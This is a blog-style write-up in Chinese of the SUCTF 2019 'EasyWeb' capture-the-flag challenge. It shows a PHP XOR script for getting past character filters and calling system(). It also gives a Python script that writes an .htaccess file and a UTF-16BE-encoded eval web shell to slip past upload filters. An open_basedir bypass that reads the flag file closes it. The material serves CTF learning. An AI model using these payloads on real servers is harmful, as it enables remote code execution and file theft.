[SUCTF 2019]EasyWeb

1. 正则绕过

这有一篇讲正则绕过的:正则绕过
因为题目限制了连字母都不能输入了,那么我们就可以用异或:就是让两个不可见字符,异或之后,就变成了我们想要的字符。很神奇,但是哪两个不可见字符,异或之后,就是我们想要的字符了?下面这个代码可以帮我们实现。

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";
?>

但我不明白为什么,不能直接把“$_POST[‘a’];” 全都异或掉,这多省事儿了,但好像不行,而且好像还只能是GET型,我尝试了POST类型行不通。目前我就只知道它可以代替"_GET",然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system
这种思想,好像是来自一位叫p神的人,他是这么构造的,这样就可以执行任何函数了。

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[360]);

在这里插入图片描述

2. 文件上传

在checkin里学的,上传.user.ini来绕过的方法,在这道题里,不管用了。因为好像必须去访问PHP文件,才会去检测user.ini的设置,也好像必须在此目录下有PHP文件,不需要访问。不管哪一个,这道题都不满足。所以我们上传.htaccess文件,但是php的版本到七点儿多了,那么<script>就不能用了,而且又过滤了“<?”,那么我们就用utf-16be来绕过 ,学到了。大佬写的脚本,学习一下:

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
	phpfile = open(filename, 'wb') 

	phpfile.write(script.encode('utf-16be'))
	phpfile.write(SIZE_HEADER)

	phpfile.close()

def generate_htacess():
	htaccess = open('.htaccess', 'wb')

	htaccess.write(SIZE_HEADER)
	htaccess.write(b'AddType application/x-httpd-php .lethe\n')
	htaccess.write(b'php_value zend.multibyte 1\n')
	htaccess.write(b'php_value zend.detect_unicode 1\n')
	htaccess.write(b'php_value display_errors 1\n')

	htaccess.close()
		
generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

3. open_dasedir绕过

这样我们就成功的上传的木马,并别可以解析。但是我们尝试回去跟目录下的所有文件时,发现它做了open_basedir的限制
在这里插入图片描述
我们在phpinfo里可以看见只可以访问网站根目录和/tmp目录,那么我们就要尝试绕过open_basedir:

<?php
ini_set("open_basedir","/tmp/:/var/www/html/");
mkdir("sub");
chdir("sub");
ini_set("open_basedir","..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");        
ini_set("open_basedir","/");
var_dump(file_get_contents("/THis_Is_tHe_F14g"));
?>

深入到/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/ 共五层,那么久写五个chdir(’…’);就可以了。原理我目前的能力还看不懂。
open_basedir绕过

https://blog.csdn.net/qq_42181428/article/details/99741920
这是别人写的题解,感觉很不错,推荐一下。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值